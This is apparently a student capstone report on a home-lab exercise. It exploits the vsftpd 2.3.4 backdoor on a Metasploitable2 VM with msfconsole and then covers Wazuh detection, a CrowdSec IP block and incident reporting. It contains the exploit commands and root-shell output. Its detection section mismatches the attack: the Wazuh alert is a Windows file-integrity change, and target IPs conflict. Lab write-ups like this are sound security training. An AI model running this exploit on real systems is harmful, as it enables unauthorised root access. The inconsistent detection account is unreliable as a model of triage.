

Author: P. Rajeev

Date: 06-11-2025

Capstone Project

1.Target and Attacker Description

- Local Virtual Machine
- Target: Host A (Metasploit)
- IP address: 192.168.0.177
- Attacker: Host B (Linux machine)

2. Attack Simulation

Performing an attack on the target machine (Metasploitable2) using Attack machine (Kali Linux) in that using msfconsole (e.g., vsftpd backdoor: use exploit/unix/ftp/vsftpd _234_backdoor).

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name      Current Setting  Required  Description
CHOST            no        The local client address
CPORT            no        The local client port
Proxies          no        A proxy chain of format type:host:port[,type:host:port][,...]
RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
                        basics/using-metasploit.html
RPORT           21        yes       The target port (TCP)

Exploit target:

Id  Name
-- 
0  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.94
RHOSTS => 192.168.31.94
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.31.94:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.31.94:21 - USER: 331 Please specify the password.
[+] 192.168.31.94:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.94:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > [*] Command shell session 1 opened (192.168.31.6:39571 -> 192.168.31.94:6200) at 2025-10-09 06:09:24 -0400

```

3. Detection and Triage

Configuring Wazuh to alert on the attack that means after simulation of attack the log file should be used in the Wazuh to configure it to alert on the attack. The below image shows the alert of the backdoor execution attack.



Discover	
wazuh-alerts-4.x-2025.10.08#G5vRw5kBUitrZ28ZIYqo	
Table	JSON
@timestamp	Nov 06, 2025 @ 18:05:08.201
_index	wazuh-alerts-4.x-2025.10.08
agent.id	001
agent.ip	192.168.31.58
agent.name	Windows
decoder.name	syscheck_integrity_changed
full_log	> File 'c:\users\karth\documents\logs\sender\alert_classification_sheet.csv' modified Mode: realtime Changed attributes: size,mtime,md5,sha1,sha256 Size changed from '187' to '181' Old modification time was: '1759907306', now it is '1759926907' Old md5sum was: '933d1ff14e370c8992ec38ee86cedcaa3' New md5sum is: '8a107ef1a23d92a83a5512404affea440'
id	1759926908.3750857
input.type	log
location	syscheck
manager.name	ubuntu
rule.description	Integrity checksum changed.
rule.firedtimes	1
rule.gdpr	II_5.1.f
rule.gpg13	4.11
rule.groups	ossec, syscheck, syscheck_entry_modified, syscheck_file

Timestamp	Source IP	Alert Description	MITRE Technique
2025-11-06 18:05:08	192.168.31.58	Integrity checksum changed (File modification detected by Syscheck)	T1565

4. Response

Isolation of Virtual Machine and blocking the attacker's IP using CrowdSec tool.

The below image shows the blocklist of the IP address in the CrowdSec.

The screenshot shows the CrowdSec interface. At the top, there is a search bar and filters for 'All', 'Active', 'Inactive', and 'Show only archived'. Below this is a section titled 'Security Engine Troubleshooting' with a sub-instruction: 'Get an overview of your Security Engines' status and identify Engines that require immediate attention.' A large card for 'Security Engine ...k0vd' is displayed, featuring a profile icon of a person with a mask. The card contains the following data:

- Security Engine ...k0vd
- 0 Alerts
- 35 Scenarios
- 0 Remediation component
- 1 Blocklist

At the bottom of the card, it shows 'IP 152.57.155.235 /ID ...k0vd' and 'Enroll date: Oct 9, 15:16:01'. It also indicates 'Last activity: yesterday at 3:14 PM'.

5. Reporting

5.1 Executive Summary:

On **November 6, 2025, at 18:05:08**, Wazuh SIEM detected a file integrity modification on a Windows endpoint with IP **192.168.31.58**. The alert originated from the **Syscheck module**, indicating that the file “*alert_classification_sheet.csv*” located at C:\users\kar\documents\logs sender\ had been altered. The system recorded changes in file size, modification time, and cryptographic checksums (MD5, SHA1, SHA256). This event signifies potential unauthorized activity that could compromise log data integrity. The incident was escalated to a **SOC Analyst** for verification and classification. After analysis, the severity level was determined to be **Medium**, pending further investigation.

5.2 Timeline:

- **18:05:08:** Wazuh generated a Syscheck alert for file modification.
- **18:06:10:** SOC Analyst reviewed the alert and verified SHA256 hash mismatch.
- **18:08:20:** Analyst confirmed integrity deviation from baseline.
- **18:10:00:** Investigation initiated to trace modification source process.

5.3 Recommendations:

It is recommended to verify file legitimacy and reset the integrity baseline. Implement real-time integrity monitoring for sensitive directories, enforce user-level access restrictions, and conduct periodic Syscheck audits. Continuous monitoring and validation will help prevent future unauthorized modifications and maintain data authenticity.

6. Stakeholder Briefing

Stakeholder Briefing means the report should be understand for the non-technical manager, and also summarizing the incident and also actions will be taken.

Subject: Security Incident Briefing: File Integrity Modification Detected

We successfully identified and contained a security incident involving an unexpected file modification on one of our monitored Windows systems (**192.168.31.58**). The alert was

generated by our Wazuh monitoring platform, which detected unauthorized changes in a system file's integrity.

Our **SOC team** immediately investigated the alert, verified the file's checksum changes, and confirmed that no malicious activity was ongoing. The affected file was secured, and enhanced integrity monitoring was applied across critical directories.

The incident was contained quickly with **no data loss or operational disruption**. We strongly recommend continuing periodic integrity audits and enforcing restricted file access policies to prevent future tampering.